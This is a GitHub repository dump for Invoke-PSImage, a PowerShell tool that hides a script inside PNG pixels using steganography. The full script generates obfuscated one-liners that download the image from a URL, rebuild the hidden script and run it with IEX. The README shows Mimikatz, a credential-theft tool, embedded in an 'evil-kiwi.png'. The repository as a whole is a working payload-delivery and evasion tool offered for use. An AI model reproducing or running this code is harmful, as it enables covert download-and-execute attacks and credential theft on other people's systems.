├── Invoke-PSImage.ps1 ├── LICENSE ├── README.md └── images └── ps_kiwi.png /Invoke-PSImage.ps1: -------------------------------------------------------------------------------- 1 | function Invoke-PSImage 2 | { 3 | <# 4 | .SYNOPSIS 5 | 6 | Embeds a PowerShell script in an image and generates a oneliner to execute it. 7 | Author: Barrett Adams (@peewpw) 8 | 9 | .DESCRIPTION 10 | 11 | This tool can either create an image with just the target data, or can embed the payload in 12 | an existing image. When embeding, the least significant 4 bits of 2 color values (2 of RGB) in 13 | each pixel (for as many pixels as are needed for the payload). Image quality will suffer as 14 | a result, but it still looks decent. The image is saved as a PNG, and can be losslessly 15 | compressed without affecting the ability to execute the payload as the data is stored in the 16 | colors themselves. It can accept most image types as input, but output will always be a PNG 17 | because it needs to be lossless. 18 | 19 | .PARAMETER Script 20 | 21 | The path to the script to embed in the Image. 22 | 23 | .PARAMETER Out 24 | 25 | The file to save the resulting image to (image will be a PNG) 26 | 27 | .PARAMETER Image 28 | 29 | The image to embed the script in. (optional) 30 | 31 | .PARAMETER WebRequest 32 | 33 | Output a command for reading the image from the web using Net.WebClient. 34 | You will need to host the image and insert the URL into the command. 35 | 36 | .PARAMETER PictureBox 37 | 38 | Output a command for reading the image from the web using System.Windows.Forms.PictureBox. 39 | You will need to host the image and insert the URL into the command. 40 | 41 | .EXAMPLE 42 | 43 | PS>Import-Module .\Invoke-PSImage.ps1 44 | PS>Invoke-PSImage -Script .\Invoke-Mimikatz.ps1 -Out .\evil-kiwi.png -Image .\kiwi.jpg 45 | [Oneliner to execute from a file] 46 | 47 | #> 48 | 49 | [CmdletBinding()] Param ( 50 | [Parameter(Position = 0, Mandatory = $True)] 51 | [String] 52 | $Script, 53 | 54 | [Parameter(Position = 1, Mandatory = $True)] 55 | [String] 56 | $Out, 57 | 58 | [Parameter(Position = 2, Mandatory = $False)] 59 | [String] 60 | $Image, 61 | 62 | [switch] $WebClient, 63 | 64 | [switch] $PictureBox 65 | ) 66 | # Stop if we hit an error instead of making more errors 67 | $ErrorActionPreference = "Stop" 68 | 69 | # Load some assemblies 70 | [void] [System.Reflection.Assembly]::LoadWithPartialName("System.Drawing") 71 | [void] [System.Reflection.Assembly]::LoadWithPartialName("System.Web") 72 | 73 | # Normalize paths beacuse powershell is sometimes bad with them. 74 | if (-Not [System.IO.Path]::IsPathRooted($Script)){ 75 | $Script = [System.IO.Path]::GetFullPath((Join-Path (Get-Location) $Script)) 76 | } 77 | if (-Not [System.IO.Path]::IsPathRooted($Out)){ 78 | $Out = [System.IO.Path]::GetFullPath((Join-Path (Get-Location) $Out)) 79 | } 80 | 81 | $testurl = "http://example.com/" + [System.IO.Path]::GetFileName($Out) 82 | 83 | # Read in the script 84 | $ScriptBlockString = [IO.File]::ReadAllText($Script) 85 | $in = [ScriptBlock]::Create($ScriptBlockString) 86 | $payload = [system.Text.Encoding]::ASCII.GetBytes($in) 87 | 88 | if ($Image) { 89 | # Normalize paths beacuse powershell is sometimes bad with them. 90 | if (-Not [System.IO.Path]::IsPathRooted($Image)){ 91 | $Image = [System.IO.Path]::GetFullPath((Join-Path (Get-Location) $Image)) 92 | } 93 | 94 | # Read the image into a bitmap 95 | $img = New-Object System.Drawing.Bitmap($Image) 96 | 97 | $width = $img.Size.Width 98 | $height = $img.Size.Height 99 | 100 | # Lock the bitmap in memory so it can be changed programmatically. 101 | $rect = New-Object System.Drawing.Rectangle(0, 0, $width, $height); 102 | $bmpData = $img.LockBits($rect, [System.Drawing.Imaging.ImageLockMode]::ReadWrite, $img.PixelFormat) 103 | $ptr = $bmpData.Scan0 104 | 105 | # Copy the RGB values to an array for easy modification 106 | $bytes = [Math]::Abs($bmpData.Stride) * $img.Height 107 | $rgbValues = New-Object byte[] $bytes; 108 | [System.Runtime.InteropServices.Marshal]::Copy($ptr, $rgbValues, 0, $bytes); 109 | 110 | # Check that the payload fits in the image 111 | if($bytes/2 -lt $payload.Length) { 112 | Write-Error "Image not large enough to contain payload!" 113 | $img.UnlockBits($bmpData) 114 | $img.Dispose() 115 | Break 116 | } 117 | 118 | # Generate a random string to use to fill other pixel info in the picture. 119 | # (Calling get-random everytime is too slow) 120 | $randstr = [System.Web.Security.Membership]::GeneratePassword(128,0) 121 | $randb = [system.Text.Encoding]::ASCII.GetBytes($randstr) 122 | 123 | # loop through the RGB array and copy the payload into it 124 | for ($counter = 0; $counter -lt ($rgbValues.Length)/3; $counter++) { 125 | if ($counter -lt $payload.Length){ 126 | $paybyte1 = [math]::Floor($payload[$counter]/16) 127 | $paybyte2 = ($payload[$counter] -band 0x0f) 128 | $paybyte3 = ($randb[($counter+2)%109] -band 0x0f) 129 | } else { 130 | $paybyte1 = ($randb[$counter%113] -band 0x0f) 131 | $paybyte2 = ($randb[($counter+1)%67] -band 0x0f) 132 | $paybyte3 = ($randb[($counter+2)%109] -band 0x0f) 133 | } 134 | $rgbValues[($counter*3)] = ($rgbValues[($counter*3)] -band 0xf0) -bor $paybyte1 135 | $rgbValues[($counter*3+1)] = ($rgbValues[($counter*3+1)] -band 0xf0) -bor $paybyte2 136 | $rgbValues[($counter*3+2)] = ($rgbValues[($counter*3+2)] -band 0xf0) -bor $paybyte3 137 | } 138 | 139 | # Copy the array of RGB values back to the bitmap 140 | [System.Runtime.InteropServices.Marshal]::Copy($rgbValues, 0, $ptr, $bytes) 141 | $img.UnlockBits($bmpData) 142 | 143 | # Write the image to a file 144 | $img.Save($Out, [System.Drawing.Imaging.ImageFormat]::Png) 145 | $img.Dispose() 146 | 147 | # Get a bunch of numbers we need to use in the oneliner 148 | $rows = [math]::Ceiling($payload.Length/$width) 149 | $array = ($rows*$width) 150 | $lrows = ($rows-1) 151 | $lwidth = ($width-1) 152 | $lpayload = ($payload.Length-1) 153 | 154 | if($WebClient) { 155 | $pscmd = "sal a New-Object;Add-Type -A System.Drawing;`$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead(`"$testurl`"));`$o=a Byte[] $array;(0..$lrows)|%{foreach(`$x in(0..$lwidth)){`$p=`$g.GetPixel(`$x,`$_);`$o[`$_*$width+`$x]=([math]::Floor((`$p.B-band15)*16)-bor(`$p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString(`$o[0..$lpayload]))" 156 | } elseif($PictureBox) { 157 | $pscmd = "sal a New-Object;Add-Type -A System.Windows.Forms;(`$d=a System.Windows.Forms.PictureBox).Load(`"$testurl`");`$g=`$d.Image;`$o=a Byte[] $array;(0..$lrows)|%{foreach(`$x in(0..$lwidth)){`$p=`$g.GetPixel(`$x,`$_);`$o[`$_*$width+`$x]=([math]::Floor((`$p.B-band15)*16)-bor(`$p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString(`$o[0..$lpayload]))" 158 | } else { 159 | $pscmd = "sal a New-Object;Add-Type -A System.Drawing;`$g=a System.Drawing.Bitmap(`"$Out`");`$o=a Byte[] $array;(0..$lrows)|%{foreach(`$x in(0..$lwidth)){`$p=`$g.GetPixel(`$x,`$_);`$o[`$_*$width+`$x]=([math]::Floor((`$p.B-band15)*16)-bor(`$p.G-band15))}};`$g.Dispose();IEX([System.Text.Encoding]::ASCII.GetString(`$o[0..$lpayload]))" 160 | } 161 | 162 | return $pscmd 163 | 164 | } else { 165 | # Decide how large our image needs to be (always square for easy math) 166 | $side = ([int] ([math]::ceiling([math]::Sqrt([math]::ceiling($payload.Length / 3)) + 3) / 4)) * 4 167 | 168 | # Decide how large our image needs to be (always square for easy math) 169 | $rgbValues = New-Object byte[] ($side * $side * 3); 170 | $randstr = [System.Web.Security.Membership]::GeneratePassword(128,0) 171 | $randb = [system.Text.Encoding]::ASCII.GetBytes($randstr) 172 | 173 | # loop through the RGB array and copy the payload into it 174 | for ($counter = 0; $counter -lt ($rgbValues.Length); $counter++) { 175 | if ($counter -lt $payload.Length){ 176 | $rgbValues[$counter] = $payload[$counter] 177 | } else { 178 | $rgbValues[$counter] = $randb[$counter%113] 179 | } 180 | } 181 | 182 | # Copy the array of RGB values back to the bitmap 183 | $ptr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($rgbValues.Length) 184 | [System.Runtime.InteropServices.Marshal]::Copy($rgbValues, 0, $ptr, $rgbValues.Length) 185 | $img = New-Object System.Drawing.Bitmap($side, $side, ($side*3), [System.Drawing.Imaging.PixelFormat]::Format24bppRgb, $ptr) 186 | 187 | # Write the image to a file 188 | $img.Save($Out, [System.Drawing.Imaging.ImageFormat]::Png) 189 | $img.Dispose() 190 | [System.Runtime.InteropServices.Marshal]::FreeHGlobal($ptr); 191 | 192 | # Get a bunch of numbers we need to use in the oneliner 193 | $array = ($side*$side)*3 194 | $lrows = ($side-1) 195 | $lwidth = ($side-1) 196 | $width = ($side) 197 | $lpayload = ($payload.Length-1) 198 | 199 | if($WebClient) { 200 | $pscmd = "sal a New-Object;Add-Type -A System.Drawing;`$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead(`"$testurl`"));`$o=a Byte[] $array;(0..$lrows)|%{foreach(`$x in(0..$lwidth)){`$p=`$g.GetPixel(`$x,`$_);`$o[(`$_*$width+`$x)*3]=`$p.B;`$o[(`$_*$width+`$x)*3+1]=`$p.G;`$o[(`$_*$width+`$x)*3+2]=`$p.R}};IEX([System.Text.Encoding]::ASCII.GetString(`$o[0..$lpayload]))" 201 | } elseif($PictureBox) { 202 | $pscmd = "sal a New-Object;Add-Type -A System.Windows.Forms;(`$d=a System.Windows.Forms.PictureBox).Load(`"$testurl`");`$g=`$d.Image;`$o=a Byte[] $array;(0..$lrows)|%{foreach(`$x in(0..$lwidth)){`$p=`$g.GetPixel(`$x,`$_);`$o[(`$_*$width+`$x)*3]=`$p.B;`$o[(`$_*$width+`$x)*3+1]=`$p.G;`$o[(`$_*$width+`$x)*3+2]=`$p.R}};IEX([System.Text.Encoding]::ASCII.GetString(`$o[0..$lpayload]))" 203 | } else { 204 | $pscmd = "sal a New-Object;Add-Type -A System.Drawing;`$g=a System.Drawing.Bitmap(`"$Out`");`$o=a Byte[] $array;(0..$lrows)|%{foreach(`$x in(0..$lwidth)){`$p=`$g.GetPixel(`$x,`$_);`$o[(`$_*$width+`$x)*3]=`$p.B;`$o[(`$_*$width+`$x)*3+1]=`$p.G;`$o[(`$_*$width+`$x)*3+2]=`$p.R}};`$g.Dispose();IEX([System.Text.Encoding]::ASCII.GetString(`$o[0..$lpayload]))" 205 | } 206 | 207 | return $pscmd 208 | } 209 | } 210 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2017 peewpw 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Invoke-PSImage 2 | Encodes a PowerShell script in the pixels of a PNG file and generates a oneliner to execute 3 | 4 | Invoke-PSImage takes a PowerShell script and encodes the bytes of the script into the pixels of a PNG image. It generates a oneliner for executing either from a file of from the web. 5 | 6 | It can either create a new image using only the payload data, or it can embed the payload in the least significant bytes of an existing image so that it looks like an actual picture. The image is saved as a PNG, and can be losslessly compressed without affecting the ability to execute the payload as the data is stored in the colors themselves. When creating new images, normal PowerShell scripts are actually significantly compressed, usually producing a png with a filesize ~50% of the original script. 7 | 8 | With the embed method, the least significant 4 bits of 2 color values in each pixel are used to hold the payload. Image quality will suffer as a result, but it still looks decent. It can accept most image types as input, but output will always be a PNG because it needs to be lossless. Each pixel of the image is used to hold one byte of script, so you will need an image with at least as many pixels as bytes in your script. This is fairly easy—for example, Invoke-Mimikatz fits into a 1920x1200 image. 9 | 10 | ## Arguments 11 | 12 | **-Script** [filepath] 13 | The path to the script to embed in the Image. 14 | 15 | **-Out** [filepath] 16 | The file to save the resulting image to (image will be a PNG) 17 | 18 | **-Image** [filepath] 19 | The image to embed the script in. (optional) 20 | 21 | **-WebRequest** 22 | Output a command for reading the image from the web using Net.WebClient. 23 | You will need to host the image and insert the URL into the command. 24 | 25 | **-PictureBox** 26 | Output a command for reading the image from the web using System.Windows.Forms.PictureBox. 27 | You will need to host the image and insert the URL into the command. 28 | 29 | ## Example 30 | Create an image with the script "Invoke-Mimikatz.ps1" embeded in it and output a oneliner to execute from disk: 31 | ``` 32 | PS>Import-Module .\Invoke-PSImage.ps1 33 | PS>Invoke-PSImage -Script .\Invoke-Mimikatz.ps1 -Out .\evil-kiwi.png -Image .\kiwi.jpg 34 | [Oneliner to execute from a file] 35 | ``` 36 | Create an image with the script "Invoke-Mimikatz.ps1" embeded in it and output a oneliner to execute from the web (you still have to host the image and edit the URL): 37 | ``` 38 | PS>Import-Module .\Invoke-PSImage.ps1 39 | PS>Invoke-PSImage -Script .\Invoke-Mimikatz.ps1 -Out .\evil-kiwi.png -Image .\kiwi.jpg -WebRequest 40 | [Oneliner to execute from the web] 41 | ``` 42 | Executing an image hosted on the web: 43 | ![Screenshot of using Invoke-PSImage](https://github.com/peewpw/Invoke-PSImage/raw/master/images/ps_kiwi.png) 44 | -------------------------------------------------------------------------------- /images/ps_kiwi.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/peewpw/Invoke-PSImage/b7a4e401140494f5f22be375e52cd40aae4764e1/images/ps_kiwi.png --------------------------------------------------------------------------------